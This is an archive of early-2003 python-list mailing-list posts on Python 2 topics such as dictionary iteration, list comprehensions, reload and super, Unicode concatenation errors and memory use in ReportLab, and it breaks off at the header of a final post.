> <pythonhda at yahoo.com.replacepythonwithlinux> wrote:
> 
>>for key in d:
>>       print key, '=', d[key]
> 
> Someone please verify this example is incorrect.

No, it's correct.  However, in versions of Python before 2.2, it won't
work because you cannot iterate over a dictionary.  You would have to
do it this way:

    for key in d.keys():
        print key, '=', d[key]


> Putting the value in a variable named 'key' still
> makes it a value, not a key... Right?
> 
> Wouldn't this code result in a no-index error on d[key] ?

No.  In Python (starting with 2.2), iterating over a dictionary
iterates through the keys, not the values.  Try this:

    d = { 'a': 1, 'b': 2, 'c': 3 }
    for x in d:
        print x

It will print the keys a, b, and c (in no particular order), not the
values 1, 2, and 3.  If you would like to iterate through the values
only, you could do this:

    for value in d.values():
        ...



-- 
CARL BANKS



From andrew-pythonlist at puzzling.org  Tue Jan 28 23:26:51 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Wed, 29 Jan 2003 15:26:51 +1100
Subject: else in list comp
In-Reply-To: <1043813125.19419.1408.camel@x1-6-00-04-5a-64-c4-03>
References: <1043813125.19419.1408.camel@x1-6-00-04-5a-64-c4-03>
Message-ID: <20030129042651.GA11264@frobozz.local>

On Tue, Jan 28, 2003 at 08:05:25PM -0800, Cliff Wells wrote:
> Maybe this has come up before, but I haven't heard a discussion of list
> comps in a while so here's something I thought might be interesting:
> 
> I was looking for a fast, clean way of converting a single value in a
> list to a different value (specifically None to '').  It occurred to me
> to use a list comp and this seemed the most straightforward solution:
> 
> Given the list:
> 
> l = ['mary', 'had', 'a', 'little', None]
> 
> it should get mapped to ['mary', 'had', 'a', 'little', '']

This doesn't solve the general problem, but...

    >>> l = ['mary', 'had', 'a', 'little', None]
    >>> [x or '' for x in l]
    ['mary', 'had', 'a', 'little', '']

-Andrew.





From letezo at fw.hu  Fri Jan 24 20:43:17 2003
From: letezo at fw.hu (=?iso-8859-1?B?TOl0ZXr1?=)
Date: Sat, 25 Jan 2003 02:43:17 +0100
Subject: Advice Needed re: MS-DOS/Win 98 as Python environment
Message-ID: <008e01c2c413$2351a090$8800a8c0@Sirius>

Hi!

> I generally run my python programs from a DOS window under Win 98.  Is
> there a better way?  (yeah, I know, use linux, but I feel I'm too old to
> relearn so much)

It's ok, if you don't want to use Linux. If you install ActiveState Python
2.2.2 ( installer can be downloaded from www.activestate.com ), the .py
extension will be associated with python programs, so you can start them by
simply double clicking on them in an explorer window. This is the best way,
if you don't want to inspect the output of the script directly after it's
execution finishes (the window closes and you don't have time to view it's
contents).

> When I open MS-DOS the initial directory is Windows.  I can't figure out
> how to make this come up as Python22.  I know about autoexec.bat, I used
> to use it a lot, but I don't know where MS-DOS under Win 98 looks for
> the autoexec batch file to execute.  Can anyone please tell me?

You can create a command.com starts in C:\Python22: Create a shorcut to
c:\command.com (or c:\windows\command.com, I don't remember), then view the
shortcut's properties by right clicking on it and selecting Properties from
the popup menu. Select the Shortcut tab (theoretically this is selected as
default) and set the Start in field to: C:\Python22

Now you can create a command prompt in C:\Python22 by double clicking on
this shortcut.

Best wishes:
Complex







From sholden at holdenweb.com  Thu Jan  9 09:30:57 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Thu, 9 Jan 2003 09:30:57 -0500
Subject: get instance name  inside of member function
References: <3E1D869F.2050809@emsys.de>
Message-ID: <tKfT9.21018$u9.10945@fe08>

"Ralf Oberl?nder" <ralf.oberlaender at emsys.de> wrote in message
news:3E1D869F.2050809 at emsys.de...
> Hi gurus,
>
> is it possible to get the name of the instance inside a member function:
>
> class a:
>      def inst_name():
>          pass
>
> inst=a
>
I think you probably mean

    inst = a()

right?

> so that
>
> inst.inst_name()
>
> results in the string "inst"
>
> I need it for logging
>

Define "need". Consider the following code:

    class a:
        pass

    inst1 = inst2 = a()

Is the name of the instance "inst1" or "inst2" here? Names are actually
references to values in Python, so values don't actually "have" names - they
"are bound" to names (or names are bound to values: different authors use
ther terminology in slightly different ways).

You would be a lot better off *generating* a name in the __init__ function,
I would have thought, but perhaps you can convince me you really "need" "the
name" of the instance.

regards
-----------------------------------------------------------------------
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/
-----------------------------------------------------------------------






From sketerpot at chase3000.com  Wed Jan 15 18:48:27 2003
From: sketerpot at chase3000.com (Peter Scott)
Date: Wed, 15 Jan 2003 16:48:27 -0700
Subject: Ignoring incorrect XML encoding declarations
Message-ID: <b04roj$lif9o$1@ID-174764.news.dfncis.de>

I have an XML file which I'm trying to parse with xml.sax, but, for 
reasons beyond my control, it uses the UTF-8 character encoding but has 
this incorrect line at the beginning:
<?xml version="1.0" encoding="UTF-16"?>
The parser wisely spots this error and throws a SAXParseException, and I 
can't parse the file. I've tried just catching the exception and 
printing an error, then keeping on parsing, but it didn't work. Is there 
any way I can get the SAX parser to ignore the 'encoding="UTF-16"' and 
parse the file with the real encoding?

Thanks,
Peter




From bdesth at removethis.free.fr  Mon Jan 27 11:50:00 2003
From: bdesth at removethis.free.fr (laotseu)
Date: Mon, 27 Jan 2003 11:50:00 -0500
Subject: BDE mit Python?
References: <3E34F503.2000906@web.de>
Message-ID: <3E356338.9030605@removethis.free.fr>

Ingo Linkweiler wrote:
> Ist es m?glich, mit Python auf eine Borland Datenbank (BDE) zuzugreifen?
> Welche Module kann ich daf?r verwenden?
> 
> Ingo
> 

<attempt to translate, pardon my french!->
Is it possible, with Python, to connect to a Borland Database (BDE -> 
Borland database engine) ? What module can I find to do it ?
</attempt to translate>

<OP>
If possible, try to post in english here, if you hope to have any answer...
</OP>

<BTW>
I don't have any answer to this question... Someone else ?
</BTW>


Laotseu
Better-a-bad-english-than-a-good-[german|french|italian|chinese|spain|klingon|whatsoever]




From wolfson at uchicago.edu  Mon Jan 13 01:21:14 2003
From: wolfson at uchicago.edu (Ben Wolfson)
Date: Mon, 13 Jan 2003 00:21:14 -0600
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal Python project)
References: <mailman.1042436962.21167.python-list@python.org> <7xznq57esm.fsf@ruckus.brouhaha.com>
Message-ID: <pan.2003.01.13.06.21.14.949768@uchicago.edu>

On Sun, 12 Jan 2003 22:19:05 +0000, Paul Rubin wrote:

> Anthony Baxter <anthony at interlink.com.au> writes:
>> More reading shows that neonates are babies that are born "live"
> 
> A neonate is anything that has just been born, not necessarily a snake.
> For example, a newborn human baby is a neonate.

This discussion is really heading in the wrong direction.  Who was the
shortest member of Monty Python?

-- 
I certainly seem to be enjoying myself in the same way, smacking my
lips, sighing and moaning, dripping [REDACTED] on my shirt and
smearing it into my moustache ... But ... If I snuck a lick of your
cone, I wouldn't smack my lips. -- Ted Cohen




From phr-n2003b at NOSPAMnightsong.com  Fri Jan 24 15:21:22 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 24 Jan 2003 12:21:22 -0800
Subject: XML vs Python?
References: <slrnb293jk.1hr.nthomas@rain.cise.ufl.edu> <cf333042.0301232326.582ac37@posting.google.com> <23891c90.0301240929.196ae7bf@posting.google.com> <87heby2u06.fsf@theasylum.dyndns.org>
Message-ID: <7xadhqqoxp.fsf@ruckus.brouhaha.com>

Tim Lavoie <tlavoie at acm.org> writes:
> At least with Lisp you have a powerful programming language with a
> natural way to express complex nested data. If you want to see
> something truly bletcherous, have a gander at those who try to write
> programs in XML.  <<shudder>> Check out:
> 
>   http://www.waterlang.org/doc/tutorial_fast_intro.html

Or see the logical conclusion, RFC 3252,

  <http://www.faqs.org/rfcs/rfc3252.html>.



From phr-n2003b at NOSPAMnightsong.com  Tue Jan 28 20:52:35 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 28 Jan 2003 17:52:35 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com> <mailman.1043791529.1041.python-list@python.org> <7xr8awg6lt.fsf@ruckus.brouhaha.com> <3E37240E.DB91BC7F@alcyone.com>
Message-ID: <7x1y2wzpr0.fsf@ruckus.brouhaha.com>

Erik Max Francis <max at alcyone.com> writes:
> In traditional development cycles, new features get introduced long
> before alpha.  Alpha is when you have all the new features in place in
> at least some fashion, although they may not be working too well yet. 

Well, the idea is to have the features in place before the coming
alpha, though maybe not "long before".  There are also application
packages in Python that want to use the module and will use it if it's
available.

> Alpha is not when you introduce new features, particularly ones that
> are just reviewed APIs.

It sounds like you're thinking of this as some complicated subsystem
where a lot of API-level stuff needs to be ironed out that hasn't been
thought about yet.  It's not anything like that.  This functionality
has been done many times before and crypto application writers are
used to it.  

> I think you'd be much better off in this process aiming for (2.4 or
> whatever the next release will be) and starting with a PEP.

This is not a Python enhancement; it's just some library functions
that implement an existing, uncomplicated, well-accepted standard.  If
you look at the existing set of Python library functions, hardly any
of them have PEPs.  There's no PEP for the existing rotor module, for
example.  A PEP for this seems to me like overkill.

Anyway, so far at least, the actual crypto application developers who
have looked at this module have either said it looks fine or else have
suggested minor changes which are easy to incorporate.  So my attitude
is that a whole lot more process is not needed--this is either doable
properly in time for 2.3 or else it isn't, and the only way to find
out is to try to get it done and see what happens.  If it's not done
in time, that's ok, there's always the next release.  But such a delay
means that useful, real-world applications that need the module will
take longer to become widely deployable, etc.  I'd rather not make
them wait if they don't have to.



From nhodgson at bigpond.net.au  Sat Jan 18 15:25:46 2003
From: nhodgson at bigpond.net.au (Neil Hodgson)
Date: Sat, 18 Jan 2003 20:25:46 GMT
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <3E274D34.8F0C4348@alcyone.com> <f57664b9.0301170105.a7d95fa@posting.google.com> <x7el7b4qiv.fsf@guru.mired.org> <yyywul3skw6.fsf@adams.patriot.net> <7xznpzv93c.fsf@ruckus.brouhaha.com> <wDZV9.138$bs2.110@news2.central.cox.net>
Message-ID: <eLiW9.2041$m47.10510@news-server.bigpond.net.au>

Steve Holden:

> Here's my own non-reversing solution. Again, it would need tweaking for
> negative numbers to avoid results like "-,123".
>
>     def commafy(val):
> ...

   Well we may as well try a one liner (almost):

def commafy(val):
 u = str(val)
 return ''.join([u[i]+(['',',',''][(len(u)-i)%3]) for i in
range(len(u))])[:-1]

for i in [1, 12, 123, 1234, 12345, 123456, 1234567, 12345678]:
 print i, ":", commafy(i)

   Mmm, Perl envy ...

   Neil






From tim.one at comcast.net  Fri Jan 17 14:16:38 2003
From: tim.one at comcast.net (Tim Peters)
Date: Fri, 17 Jan 2003 14:16:38 -0500
Subject: buffer overflow
In-Reply-To: <Mahogany-0.64.2-296-20030117-170648.00@crowproductions.de>
Message-ID: <BIEJKCLHCIOIHAGOKOLHAEANEJAA.tim.one@comcast.net>

[Florian Schulze, on a segfaulting buffer() example]
> This should easily be resolved by proper reference counting. Then it would
> point to the old list object, but I think seen pythonically this is even
> correct.

Nope -- the buffer object captures a memory address not associated with any
Python object, so there's no refcount to *be* bumped.  That memory can get
recycled and the buffer object pointing to it has neither a way to stop ir
nor to know about it when it happens.  Dig into the Python-Dev archive for
years of argument about this.  The current buffer object is plain broken.
That goes a long way toward explaining why you rarely hear about it, BTW
<wink>.

dead-feature-walking-ly y'rs  - tim





From Scott.Daniels at Acm.Org  Tue Jan 21 16:47:27 2003
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Tue, 21 Jan 2003 13:47:27 -0800
Subject: license
In-Reply-To: <mailman.1043156319.24930.python-list@python.org>
References: <mailman.1043156319.24930.python-list@python.org>
Message-ID: <3e2dbfec$1@nntp0.pdx.net>

Arthur wrote:
> Expressing the wish, out loud, that someone else who is taking advantage of
> the community's productivity might act a bit more reasonably and less
> selfishly as a community member is seen by (at least some) of the community
> as an assault on the community.  That wish and hope is an assault?
Even presuming your analysis is correct:
Asking such a person to change politely is, of course, in order.
Given that such change is not forthcoming, you _might_ be in the
presence of a vandal.  Standing up and calling someone a vandal
will not cause him to change, whether he is one or not.

The result will only make loud stuff happen and the newsgroup
become less civil, while failing to accomplish your desired result.

> Of course, the other solution is to overwrite his help file with my help
> file.  That would indeed be 4 keystrokes.  And than I could be the guy
> sitting on ten thousand lines of code, driving my toy.
Seems the thing to do is this:
Let's call the mystery application "V".
     (1) if either original.html or V.html exist in Doc, fail.
     (2) copy "index.html" file to "original.html".
     (3) install "application V"
     (4) rename "index.html" to be "V.html"
     (5) rename "original.html" to be "index.html"
<for extra credit>
     (6) rename "modindex.html" to be "original.html"
     (7) dest = open("modindex.html", "w")
         source = open("original.html")
         for line in source:
             print >>dest, line
             if line.startswith(
                   '<dt><a href="mac/module-videoreader.html">'):
               # or some line you deem more appropriate.
               print >>dest, ('<dt><a href="V.html">'
                   '<tt class="module">Vname</tt></a>')
         dest.close()
         source.close()

Walk softly and write clear code,
-Scott David Daniels
Scott.Daniels at Acm.Org




From maney at pobox.com  Tue Jan 21 23:03:57 2003
From: maney at pobox.com (Martin Maney)
Date: Wed, 22 Jan 2003 04:03:57 +0000 (UTC)
Subject: max() of a list of tuples
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <ygaX9.4400$bL4.431294@newsread2.prod.itd.earthlink.net> <13a533e8.0301211252.187ffeb9@posting.google.com>
Message-ID: <b0l57d$12j$1@wheel2.two14.net>

Peter Abel <p-abel at t-online.de> wrote:
> Silly me!!!
> The correct code is:
>>>> l = [(1, 3, 5), (8, 16, 2), (2, 56, 4)]
>>>> reduce(lambda y,x:y[2]>x[2] and y or x,l,(-1.e16,-1.e16,-1.e16))
> (1, 3, 5)

Why not (None,None,None) as the initial value?

(no, really, I don't know.  it just seemed natural in the same way that
thinking "reduce is the answer" seemed as it popped into my head when I
first saw the OP's question.  None does seem to compare as less than
anything else (and, yeah, trying it seemed more natural than looking it
up - I think Python may be eating my mind, but I can't bring myself to
worry about it))



From tismer at tismer.com  Mon Jan 13 19:14:29 2003
From: tismer at tismer.com (Christian Tismer)
Date: Tue, 14 Jan 2003 01:14:29 +0100
Subject: Seeking Minimal Python Project Name
In-Reply-To: <VmEU9.38812$uL2.13042@nwrddc01.gnilink.net>
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org> <VmEU9.38812$uL2.13042@nwrddc01.gnilink.net>
Message-ID: <3E235665.7090404@tismer.com>

Carl Banks wrote:
> Christian Tismer wrote:
> 
>>Anyone having some good suggestions?
> 
> 
> Python 3K

Pssssst!

Where did you get the the machine from!





From abelikov72 at hotmail.com  Sat Jan  4 19:52:03 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Sun, 05 Jan 2003 00:52:03 GMT
Subject: php vs python
References: <mailman.1041625688.13638.python-list@python.org> <3e16006e$0$230$edfadb0f@dread12.news.tele.dk> <3e160151$0$49101$e4fe514c@news.xs4all.nl> <3E1621F2.C9FA1D6F@engcorp.com>
Message-ID: <ba0f1v0hrn572t8tnntkrcfju4e6fkcgob@4ax.com>

On Fri, 03 Jan 2003 18:51:14 -0500, Peter Hansen <peter at engcorp.com>
wrote:

>Joe, take a look at some Python code for a while.  Maybe even try
>porting a small script or two.  If it's not for you, you'll find
>that quickly enough.  Quite possibly, though, you'll discover a 
>language in which it is a sheer joy to program, and one which has
>a more coherent design than PHP, and which can take you into other
>areas of programming with much less difficulty than if you were to
>try that with PHP.

How do I loop over an associative array (dictionary) with easy access
to key and value variables on each iteration. In PHP I do this :

  foreach($table as $key => $value) {
    echo $key.'='.$value;
  }

In PHP, I am unsure how I am supposed to, in some way that makes sense,
loop with access to the key in addition to the value (which is easy).



From chrisk at nipltd.com  Fri Jan 17 12:01:22 2003
From: chrisk at nipltd.com (Chris Keyes)
Date: Fri, 17 Jan 2003 17:01:22 +0000
Subject: Email package and mailbox module
References: <3E245102.8040106@nipltd.com>
Message-ID: <3E2836E2.4080708@nipltd.com>

The line I was trying to figure out was:

mbox = mailbox.UnixMailbox(infile,email.message_from_file)

Simple when you realise that Python does the call for you :-)

I believe the word is "Doh!"

Thanks for the pointers guys :-)

Chris Keyes wrote:
> Hi All
> 
> I'm a bit new here so if I've missed any relevant posts please point me 
> to them :-)
> 
> I'm currently trying to extract email messages from a mailbox file 
> (mailbox module does this fine as long as running on unix).
> 
> I want both the body and the headers (basically to index the contents of 
> the message). The RFC822 module will give me the headers and (I think) a 
> file type object which is the body (or is it a string)?  msg.fp.read()
> 
> But from what I can see the Email module would me a much much better way 
> of getting at the contents of the message. I'm just not really sure how 
> it works and how to mesh to two together.
> 
> Does anyone know of any good examples I may be able to have a good peer 
> at? The factory type object thing kinda confused me. I've really only 
> done scripting in python rather than 'propper' coding, so any help here 
> would be much appreciated.
> 
> I should also add that I no longer work for NIP but they have kindly 
> provided me with a spam protected inbox while I'm finishing my degree. 
> This project is the start of my final year project (a mailing list 
> archive).
> 
> Many thanks for your help on this one, you never know I may get back 
> into this stuff enough to be able to answer the odd question on here one 
> day ;-)
> 
> Cheers
> 
> ChrisK
> 




From mgarcia at cole-switches.com  Mon Jan 20 16:48:21 2003
From: mgarcia at cole-switches.com (Manuel M. Garcia)
Date: Mon, 20 Jan 2003 21:48:21 GMT
Subject: 2D lists
References: <c7486c63.0301201106.681eece8@posting.google.com> <9tlo2v8arqnbrbrndti7eqqf6596tg4rbb@4ax.com> <hVadnXEIxLEWw7GjXTWc-w@speakeasy.net>
Message-ID: <3fqo2vk88j4nsml2g62juhmcj1fsek0kta@4ax.com>

On Mon, 20 Jan 2003 12:38:32 +0800, Marcin Matuszkiewicz
<marcin at finisar.com> wrote:
>What is a most efficient way to create an intialized 2D list?

[ [0] * y for _ in range(x) ] is not inefficient.  What is your
application?

For small arrays I would just type it out:
[ [0,0], [0,0], [0,0] ]

Python is a scripting language, so naive use of Python will not get
the same high level of performance you would get if you coded in C or
C++.

That said, making use of the Numerical Python extensions, you can do
many array and matrix operations at C speed.  Numerical Python is used
by people who wish to do "heavy-duty" numerical analysis in Python.

http://www.pfdubois.com/numpy/

Between tools to help you write your own C extension, and new
techniques for compiling Python, you should be able to tame any speed
critical algorithm.

Manuel



From tim.one at comcast.net  Sun Jan  5 00:57:29 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sun, 05 Jan 2003 00:57:29 -0500
Subject: Leakage vs Cyclops
In-Reply-To: <KfdTAjAXSbF+EwYH@jessikat.demon.co.uk>
Message-ID: <LNBBLJKPBEHFEDALKOLCEECIDGAB.tim.one@comcast.net>

[Robin Becker]
> Hi I've a question relating to leakage. A user says his 40000 page
> document is using large amounts of memory even when he splits it into
> bite size chunks.
>
> I dummy tested with the code below and the output of the cyclops tests
> seem to indicate that no obvious cycles are being created. Even so my
> resource usage seems to increase monotonically.

Beyond what Martin said, Cyclops can only chase pointers in objects of types
it knows (or has been taught) about.  Objects created by extension modules
stop it cold (they appear to be sinks), unless Cyclops is taught how to find
and extract all the references they contain.  I understand you don't think
extensions are relevant to your problem.

> My first thoought was that one or more of our extensions could be the
> cause, but they are only accelerators and aren't required. The
> resources increase with or without them.
>
> With upper limit of 900 pages the peak working set is 15M with 2700 it
> rises to 45M. This seems to be a real leak, but how can I track it
> down?
>
> I used Cyclops to great effect in the past, but has it lost its touch
> with GC or 2.2? I'm using Python 2.2.2 with win32.

I wrote Cyclops, but haven't used it since cyclic gc was added.  I don't
know of any reason it would fail now, as the fundamentals of objects
pointing to other objects haven't changed, and Cyclops's magic was shallow.

Using 2.2.2 on Windows here, and after installing from

    ReportLab_1_17.zip

I'm not seeing what you're seeing in this program:

> from reportlab.lib.styles import ParagraphStyle
> from reportlab.platypus import *
> def main():
>         i = 0
>         story = []
>         for x in xrange(100,900):
>                 story.append(Paragraph(str(x),ParagraphStyle
>			             ('normal')))
>                 story.append(PageBreak())
>                 if i % 100==0:
>                         fn = "test_%03d.pdf"%i
>                         SimpleDocTemplate(fn).build(story)
>                         print 'Build',fn
>                         story = []
>                 i += 1
>         if story:
>                 fn = "test_%03d.pdf"%i
>                 SimpleDocTemplate(fn).build(story)
>                 print 'Build',fn
>                 story = []
>
> if __name__=='__main__':
>         #import Cyclops
>         #z = Cyclops.CycleFinder()
>         #z.run(main)
>         #z.find_cycles(purge_dead_roots=0)
>         #z.show_stats()
>         #z.show_cycles()
>         main()

Note that I commented out the Cyclops calls.  When you say "with an upper
limit of 900 pages", I'm not sure what that corresponds to in the code
above.  I'm guessing it refers to the upper limit in xrange(100,900).  When
I run that, the Python process stays well under 6MB, and ditto if I change
900 to 2700.  Also if I boost it to 10000.  It does seem to grow very slowly
for me, but nothing like the growth rate you report.

I bet I'm seeing a message at the start you don't see, and *maybe* that's a
clue:

C:\Python22>python temp.py
Warn: Python Imaging Library not available
Build test_000.pdf
Build test_100.pdf
Build test_200.pdf
Build test_300.pdf

... etc ...

Build test_9700.pdf
Build test_9800.pdf
Build test_9900.pdf

C:\Python22>

I don't know whether this program would use PIL if it were installed.  If
so, that's one of the only two differences I can see between what you
described and what I did.

The other difference is that I didn't run Cyclops.  Note this part of the
Cyclops module docstring:

"""
+ A (at least one) reference to each root-set object is maintained
  internally, so roots cannot die before invoking .clear() (or the
  CycleFinder is finalized).  This can distort the truth of your
  program, if a __del__ method of some root object that's not involved
  in a cycle could have caused cycles to get broken (this is unusual,
  but possible!).
"""

IOW, every object created via an __init__ method will stay alive, simply
because you *are* using Cyclops.  The test program's

         story = []

line will clear that list from time to time, but won't free any instance
objects.  So it's not surprising to me if the test program exactly as you
gave it shows larger memory use the larger the upper limit in the xrange().





From martin at v.loewis.de  Wed Jan  8 08:41:42 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 08 Jan 2003 14:41:42 +0100
Subject: When do you need path config files (.pth)?
In-Reply-To: <zxUS9.20256$134.2151035@newsread1.prod.itd.earthlink.net>
References: <zxUS9.20256$134.2151035@newsread1.prod.itd.earthlink.net>
Message-ID: <avh9ql$5lk$06$1@news.t-online.com>

> It's not so much that I object to making any changes, just that I don't 
> understand why it should work on one system and not on the other.  I figure 
> there must be something else missing, or perhaps environment settings.

It depends on where the pub directory has been installed. If it was 
installed as an immediate subdirectory of site-packages or site-python, 
no further configuration is needed. If it was installed elsewhere, a 
.pth file should be created in site-packages that lists a single line 
mentioning elsewhere.

Of course, the user could overcome the missing .pth file by setting 
PYTHONPATH, but the rationale for creating .pth files is that not every 
user of a system needs to set PYTHONPATH.

HTH,
Martin




From max at alcyone.com  Fri Jan 10 19:25:05 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 10 Jan 2003 16:25:05 -0800
Subject: avoiding long paths to interpreter
References: <aviaqo$9k6$1@nntp1.jpl.nasa.gov> <x7lm1vupld.fsf@guru.mired.org> <3E1CD949.15CD3DCF@alcyone.com> <mailman.1042114877.2351.python-list@python.org> <3E1E0EC7.3575F4CD@alcyone.com> <mailman.1042206814.7732.python-list@python.org>
Message-ID: <3E1F6461.E20A3ECE@alcyone.com>

holger krekel wrote:

> the Shell script is free to look for the right python version (e.g.
> python2.1 minimum, python2.2 preferred, python2.3 possible).

Sure.  It can also write home to Mom, but the shell script you posted
didn't do any of that.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The more violent the love, the more violent the anger.
\__/ _Burmese Proverbs_ (tr. Hla Pe)
    Sade Deluxe / http://www.sadedeluxe.com/
 The ultimate Sade encyclopedia.



From mwm at mired.org  Tue Jan  7 10:32:49 2003
From: mwm at mired.org (Mike Meyer)
Date: 07 Jan 2003 09:32:49 -0600
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com>
Message-ID: <x74r8lynz2.fsf@guru.mired.org>

judoscript at hotmail.com (James Huang) writes:

> Perl and Python programmers are all material witnesses
> of how scripting can greatly improve productivity. That's
> why scripting languages enjoy great success. Scripting
> means that we can issue OS commends from within a
> full-fledged programming language -- a scripting language.
> 
> Have you ever thought about scripting more areas, such
> as SQL, XML, EJB, SGML, HTTP, E-mail and GUI, the way you
> script OS commands, all at once? Think about it!

I have. I've written in it. It's called Rexx. Where JudoScript is as
much a multi-target scripting langauge as this article is novel, Rexx
is the real McCoy.

And I'd still rather write Python.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From nthomas at cise.ufl.edu  Fri Jan 17 13:58:16 2003
From: nthomas at cise.ufl.edu (N. Thomas)
Date: Fri, 17 Jan 2003 18:58:16 +0000 (UTC)
Subject: XML vs Python?
References: <slrnb293jk.1hr.nthomas@rain.cise.ufl.edu> <d232c5e.0301170329.1c8881d8@posting.google.com>
Message-ID: <slrnb2gki8.gpa.nthomas@rain.cise.ufl.edu>

In article <d232c5e.0301170329.1c8881d8 at posting.google.com>, Chris Lyon wrote:
>
> "N. Thomas" <nthomas at cise.ufl.edu> wrote in message
> news:<slrnb293jk.1hr.nthomas at rain.cise.ufl.edu>...
>
> > Are there any issues that I should be aware of regarding this? I
> > mean, are there situations where is it better to save one's data in
> > XML internally as opposed to using the language's native structures,
> > and exporting to/from XML?
> 
> Is this not a pickle to XML file conversion issue?

(I hope I am reading your question right.)

Not quite, the XML version of the pickle would be, well, an XML vesion
of the pickle. We have a DTD all written up so that if people want to
parse data from our system, they just follow the DTD. Our DTD has
nothing to do with Python's serializable output.

thomas

-- 
N. Thomas
nthomas at cise.ufl.edu
Etiamsi occiderit me, in ipso sperabo



From mwh at python.net  Thu Jan 16 09:50:26 2003
From: mwh at python.net (Michael Hudson)
Date: Thu, 16 Jan 2003 14:50:26 GMT
Subject: Bug with super() and reload()?
References: <of6h1crt.fsf@python.net>
Message-ID: <7h3vg0pno6q.fsf@pc150.maths.bris.ac.uk>

Thomas Heller <theller at python.net> writes:

> I stumbled over the following problem with super() and reload().
> 
> Consider this module:
> 
> ---- file mod.py ----
> class X(object):
>     def test(self):
>         print "X.test"
> 
> class Y(X):
>     def test(self):
>         print "Y.test"
>         super(Y, self).test()
> ---- EOF ----
> 
> then, running this code:
> 
> ---- the script ----
> import mod
> 
> Y = mod.Y
> 
> reload(mod)
> 
> y = Y()
> y.test()
> ---- EOF ----
> 
> prints this traceback:
> 
>     Y.test
>     Traceback (most recent call last):
>       File "<stdin>", line 8, in ?
>       File "mod.py", line 8, in test
>         super(Y, self).test()
>     TypeError: super(type, obj): obj must be an instance or subtype of type

This is no different from this old chestnut:

>>> import mod
>>> y = mod.Y()
>>> reload(mod)
<module 'mod' from 'mod.pyc'>
>>> mod.Y.test(y)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: unbound method test() must be called with Y instance as first argument (got Y instance instead)

is it?

> Thinking hard, I can understand why this traceback occurs: The object
> 'y' is not an instance of the 'Y' refered to in the source code.

You had to think hard for that?  You can't use Python interactively
much...

> Should this be considered a bug, or is it simply a wart, and reload
> should be avoided?

Well, it's not gonna change anytime soon, so I guess it's a wart.

This may interest you:

    http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/160164

I could rewrite it to frob __bases__ now, I guess.

Cheers,
M.

-- 
  /* I'd just like to take this moment to point out that C has all
     the expressive power of two dixie cups and a string.
   */                       -- Jamie Zawinski from the xkeycaps source



From fama1979 at email.it  Wed Jan 22 06:59:25 2003
From: fama1979 at email.it (fama1979)
Date: Wed, 22 Jan 2003 11:59:25 GMT
Subject: tray icon in Windows
Message-ID: <xIvX9.64229$0v.1962573@news1.tin.it>

I'm sorry if i'm newbie,
how can i have a icon to the trayicon (near timeclock) of windows?

Thanks





From tundra at tundraware.com  Tue Jan 21 11:20:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 21 Jan 2003 16:20:07 GMT
Subject: Unicode error in exefied Python script
In-Reply-To: <m3el76kjeg.fsf@mira.informatik.hu-berlin.de>
References: <b0ft3r$omcf2$1@ID-75629.news.dfncis.de> <08cg0b.brr.ln@boundary.tundraware.com> <m3lm1g42s6.fsf@mira.informatik.hu-berlin.de> <678h0b.4601.ln@boundary.tundraware.com> <m3smvn2293.fsf@mira.informatik.hu-berlin.de> <h1th0b.1f31.ln@boundary.tundraware.com> <m3el76kjeg.fsf@mira.informatik.hu-berlin.de>
Message-ID: <4frj0b.scd1.ln@boundary.tundraware.com>

Martin v. L?wis wrote:
> Tim Daneliuk <tundra at tundraware.com> writes:
> 
> 
>>Hmmm, I don't understand this last bit at all.  If this is how it works,
>>then why did my original example fail?  Win32 returned a Unicode string
>>which I concatenated w/ an ASCII string to produce a .. Unicode string.
>>Later, when I tried to concatenate a byte string to that new Unicode string,
>>the program failed - i.e., the byte string does not appear to get promoted...
> 
> 
> Please understand that only some of the byte strings are ASCII
> strings, namely those for which all bytes have ordinals < 128.
> 
> Python tries to convert the byte string to a Unicode string, using the
> system default encoding (as returned from
> sys.getdefaultencoding()). The factory setting for this is
> 'ascii'. When you have a byte string that contains non-ASCII
> characters, conversion to Unicode fails, hence the error.
> 
> HTH,
> Martin
> 

Very clear.  Thanks very much for taking the time to answer my dumb
questions.

-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From m2 at plusseven.com  Mon Jan 27 06:25:25 2003
From: m2 at plusseven.com (Alex Polite)
Date: 27 Jan 2003 11:25:25 GMT
Subject: java introduction for pythonistas
